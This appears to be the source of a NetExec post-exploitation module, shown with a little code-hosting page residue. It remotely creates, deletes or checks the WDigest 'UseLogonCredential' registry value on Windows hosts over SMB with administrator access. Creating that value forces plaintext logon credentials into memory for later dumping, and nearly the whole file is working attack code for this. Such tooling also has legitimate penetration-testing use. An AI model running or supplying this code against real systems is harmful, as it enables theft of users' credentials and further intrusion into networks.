145 lines
5.2 KiB
Python
145 lines
5.2 KiB
Python
#!/usr/bin/env python3
|
|
# -*- coding: utf-8 -*-
|
|
|
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
|
from impacket.dcerpc.v5 import rrp
|
|
from impacket.examples.secretsdump import RemoteOperations
|
|
from sys import exit
|
|
|
|
|
|
class NXCModule:
|
|
name = "wdigest"
|
|
description = "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
|
|
supported_protocols = ["smb"]
|
|
opsec_safe = True
|
|
multiple_hosts = True
|
|
|
|
def options(self, context, module_options):
|
|
"""
|
|
ACTION Create/Delete the registry key (choices: enable, disable, check)
|
|
"""
|
|
|
|
if "ACTION" not in module_options:
|
|
context.log.fail("ACTION option not specified!")
|
|
exit(1)
|
|
|
|
if module_options["ACTION"].lower() not in ["enable", "disable", "check"]:
|
|
context.log.fail("Invalid value for ACTION option!")
|
|
exit(1)
|
|
|
|
self.action = module_options["ACTION"].lower()
|
|
|
|
def on_admin_login(self, context, connection):
|
|
if self.action == "enable":
|
|
self.wdigest_enable(context, connection.conn)
|
|
elif self.action == "disable":
|
|
self.wdigest_disable(context, connection.conn)
|
|
elif self.action == "check":
|
|
self.wdigest_check(context, connection.conn)
|
|
|
|
def wdigest_enable(self, context, smbconnection):
|
|
remote_ops = RemoteOperations(smbconnection, False)
|
|
remote_ops.enableRegistry()
|
|
|
|
if remote_ops._RemoteOperations__rrp:
|
|
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
|
reg_handle = ans["phKey"]
|
|
|
|
ans = rrp.hBaseRegOpenKey(
|
|
remote_ops._RemoteOperations__rrp,
|
|
reg_handle,
|
|
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
|
)
|
|
key_handle = ans["phkResult"]
|
|
|
|
rrp.hBaseRegSetValue(
|
|
remote_ops._RemoteOperations__rrp,
|
|
key_handle,
|
|
"UseLogonCredential\x00",
|
|
rrp.REG_DWORD,
|
|
1,
|
|
)
|
|
|
|
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
|
|
|
|
if int(data) == 1:
|
|
context.log.success("UseLogonCredential registry key created successfully")
|
|
|
|
try:
|
|
remote_ops.finish()
|
|
except Exception:
|
|
pass
|
|
|
|
def wdigest_disable(self, context, smbconnection):
|
|
remote_ops = RemoteOperations(smbconnection, False)
|
|
remote_ops.enableRegistry()
|
|
|
|
if remote_ops._RemoteOperations__rrp:
|
|
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
|
reg_handle = ans["phKey"]
|
|
|
|
ans = rrp.hBaseRegOpenKey(
|
|
remote_ops._RemoteOperations__rrp,
|
|
reg_handle,
|
|
"SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest",
|
|
)
|
|
keyHandle = ans["phkResult"]
|
|
|
|
try:
|
|
rrp.hBaseRegDeleteValue(
|
|
remote_ops._RemoteOperations__rrp,
|
|
keyHandle,
|
|
"UseLogonCredential\x00",
|
|
)
|
|
except Exception:
|
|
context.log.success("UseLogonCredential registry key not present")
|
|
|
|
try:
|
|
remote_ops.finish()
|
|
except Exception:
|
|
pass
|
|
|
|
return
|
|
|
|
try:
|
|
# Check to make sure the reg key is actually deleted
|
|
rtype, data = rrp.hBaseRegQueryValue(
|
|
remote_ops._RemoteOperations__rrp,
|
|
keyHandle,
|
|
"UseLogonCredential\x00",
|
|
)
|
|
except DCERPCException:
|
|
context.log.success("UseLogonCredential registry key deleted successfully")
|
|
|
|
try:
|
|
remote_ops.finish()
|
|
except Exception:
|
|
pass
|
|
|
|
def wdigest_check(self, context, smbconnection):
|
|
remote_ops = RemoteOperations(smbconnection, False)
|
|
remote_ops.enableRegistry()
|
|
|
|
if remote_ops._RemoteOperations__rrp:
|
|
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
|
|
reg_handle = ans["phKey"]
|
|
|
|
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, "SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest")
|
|
key_handle = ans["phkResult"]
|
|
|
|
try:
|
|
rtype, data = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, "UseLogonCredential\x00")
|
|
if int(data) == 1:
|
|
context.log.success("UseLogonCredential registry key is enabled")
|
|
else:
|
|
context.log.fail(f"Unexpected registry value for UseLogonCredential: {data}")
|
|
except DCERPCException as d:
|
|
if "winreg.HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\SecurityProviders\\WDigest" in str(d):
|
|
context.log.fail("UseLogonCredential registry key is disabled (registry key not found)")
|
|
else:
|
|
context.log.fail("UseLogonCredential registry key not present")
|
|
try:
|
|
remote_ops.finish()
|
|
except Exception:
|
|
pass
|